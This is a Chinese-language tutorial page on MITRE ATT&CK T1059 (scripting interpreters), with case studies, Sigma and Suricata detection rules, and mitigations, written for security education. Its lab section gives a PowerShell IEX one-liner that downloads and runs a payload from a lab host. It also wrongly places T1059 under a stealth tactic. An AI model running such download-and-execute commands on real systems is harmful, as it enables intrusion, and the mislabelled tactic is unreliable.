Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

命令和脚本解释器 (T1059)

一句话通俗理解

攻击者利用系统自带的脚本工具(如PowerShell、Bash)来执行恶意命令,这样安全软件看到的是“系统自己在运行脚本“,而不是不明软件在搞破坏。

难度等级

⭐⭐ 中级(需要一定基础)

技术描述

命令和脚本解释器(T1059)是MITRE ATT&CK框架中隐蔽战术的一种技术。

通俗解释: 假设你现在在图书馆里,你想传递一个秘密消息给对面的人。如果你直接大喊,所有人都会听到。但如果你利用图书馆的内部电话系统喊一个管理员,让他帮你转达——管理员的声音在图书馆里是“合法“的,不会引起注意。攻击者也是一样:他们不直接用恶意软件运行恶意代码,而是“借用“系统自带的PowerShell、Bash、Python等工具来执行命令。因为这些都是系统合法的管理工具,安全软件通常会放行。

技术原理: 操作系统内置了多种脚本解释器,用于管理和自动化任务。攻击者利用这些工具:

  1. PowerShell:Windows最强大的管理工具,可以执行任意.NET代码
  2. Bash:Linux的标准Shell,用于执行系统命令和脚本
  3. cmd/bat:Windows传统命令行
  4. Python:跨平台的强大脚本语言
  5. JavaScript/VBScript:在Windows脚本宿主(WSH)中执行

用途与影响: 命令和脚本解释器是攻击者最常用的执行手段之一。因为是系统原生工具,不需要上传额外的二进制文件,减少了被检测的风险。攻击者通常用PowerShell执行无文件攻击:直接在内存中加载恶意代码,不写任何文件到磁盘。

子技术列表

子技术ID中文名称通俗解释
T1059.001PowerShell利用PowerShell执行恶意脚本,最常用的子技术
T1059.002AppleScriptmacOS上的脚本语言,用于自动化操作
T1059.003Windows命令Shell使用cmd.exe执行批处理命令
T1059.004Unix Shell使用Bash/sh执行Linux命令
T1059.005Visual Basic通过VBScript执行恶意脚本
T1059.006Python使用Python解释器执行恶意代码
T1059.007JavaScript在Windows脚本宿主中执行JS代码
T1059.008Network Device CLI在网络设备(如路由器)上执行命令
T1059.009Cloud API利用云平台的API执行命令

攻击流程

graph TD
    A["钓鱼邮件/恶意文档"] --> B["宏代码调用 PowerShell"]
    B --> C["PowerShell 下载恶意负载"]
    C --> D["直接在内存中执行<br/>不写磁盘"]
    D --> E["执行远程控制/数据窃取"]

真实案例

案例1:Emotet 使用PowerShell作为主要执行手段(2018-2023)

  • 时间: 2018-2023年
  • 目标: 全球企业
  • 攻击组织: Mummy Spider (TA542)
  • 手法: Emotet通过恶意文档宏启动PowerShell,下载并执行后续恶意负载。使用大量混淆技术,创建计划任务实现持久化。
  • 参考链接: MITRE - Emotet

案例2:SolarWinds 攻击中的PowerShell后门(2020)

  • 时间: 2020年
  • 目标: 美国政府机构
  • 攻击组织: APT29
  • 手法: SUNBURST后门使用PowerShell脚本进行横向移动和数据窃取,将恶意PowerShell脚本伪装成系统管理命令。
  • 参考链接: CISA - SolarWinds

案例3:LockBit 3.0 使用Python脚本执行(2022-2024)

  • 时间: 2022-2024年
  • 目标: 全球企业
  • 攻击组织: LockBit
  • 手法: LockBit 3.0使用Python编写的加密器,攻击过程中调用系统Python解释器执行加密脚本。利用Python的跨平台特性,同一套代码可用于Windows和Linux。
  • 参考链接: Trend Micro - LockBit 3.0

红队视角

⚠️ 免责声明:以下内容仅用于合法的安全测试、渗透测试和教育目的。未经授权对他人系统进行测试是违法行为。

常用工具

工具名称用途平台链接
PowerShell Empire基于PowerShell的后渗透框架Windowshttps://github.com/BC-SECURITY/Empire/
CrackMapExec利用PowerShell进行横向移动Windowshttps://github.com/byt3bl33d3r/CrackMapExec
PyPy打包Python解释器避免依赖跨平台https://www.pypy.org/

蓝队视角

检测要点

  • 监控PowerShell ScriptBlock日志(Event ID 4104)
  • 检测Office应用调用PowerShell的异常行为
  • 关注powershell.exe的EncodedCommand参数使用
  • 检测非交互式的PowerShell会话

检测建议

网络层检测

检测方法: 监控PowerShell、cmd等脚本解释器发起的异常网络连接,特别是下载执行(IEX、wget、curl)模式和向可疑域名的DNS查询。

具体规则/命令示例:

# 检测PowerShell下载字符串的网络流量
suricata -r traffic.pcap --rule "alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"PowerShell Download Pattern\"; content:\"IEX\"; nocase; sid:1000017;)"

# 检测脚本解释器异常调用系统网络工具
zeek -r traffic.pcap | grep -E "powershell|cmd" | grep "net use\|bitsadmin\|certutil"

Sigma规则示例:

title: Office应用启动PowerShell
status: experimental
description: 检测Word或Excel启动PowerShell(可疑的宏行为)
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\WINWORD.EXE'
            - '\EXCEL.EXE'
        Image|endswith: '\powershell.exe'
    condition: selection
level: high
tags:
    - attack.t1059

缓解措施

优先级1:关键措施

PowerShell安全配置:

  • 启用PowerShell ScriptBlock Logging(Event ID 4104)记录所有脚本内容
  • 启用PowerShell模块日志记录和转录功能
  • 设置PowerShell执行策略为RemoteSigned或更严格
  • 配置PowerShell Constrained Language Mode限制脚本能力

优先级2:重要措施

脚本解释器管控:

  • 使用WDAC或AppLocker限制脚本解释器的使用
  • 阻止Office应用调用PowerShell、cmd等脚本解释器(ASR规则)
  • 对Python、VBScript等解释器实施最小权限执行

优先级3:建议措施

监控与审计:

  • 监控cmd.exe和powershell.exe的非交互式调用
  • 检测EncodedCommand参数的使用(攻击者常用绕过手段)
  • 建立脚本执行基线,标记异常行为

MITRE ATT&CK缓解措施映射

缓解措施ID缓解措施名称适用性说明
M1042禁用或移除功能适用禁用非必要的脚本解释器(如VBScript)
M1038执行防护适用启用PowerShell Constrained Language Mode
M1021限制程序执行适用使用AppLocker限制脚本解释器调用
M1026特权账户管理适用限制PowerShell执行的管理员权限

动手实验

⚠️ 重要提示:所有实验必须在隔离的实验室环境中进行,禁止对未授权的真实系统进行测试。

实验1:PowerShell下载执行(初级)

实验步骤:

  1. 在Kali中启动HTTP服务器:python3 -m http.server 80
  2. 在Windows中执行:powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.txt')"
  3. 观察Process Monitor中的网络连接

术语解释

术语英文原名通俗解释
脚本解释器Scripting Interpreter读取并执行脚本代码的程序,像翻译官把脚本语言翻译成机器指令
无文件攻击Fileless Attack不写文件到硬盘,直接在内存中执行恶意代码
IEXInvoke-ExpressionPowerShell中把字符串当作代码执行的命令
LOLBinLiving Off the Land Binary系统自带的合法工具,被攻击者用来“借刀杀人“

参考资料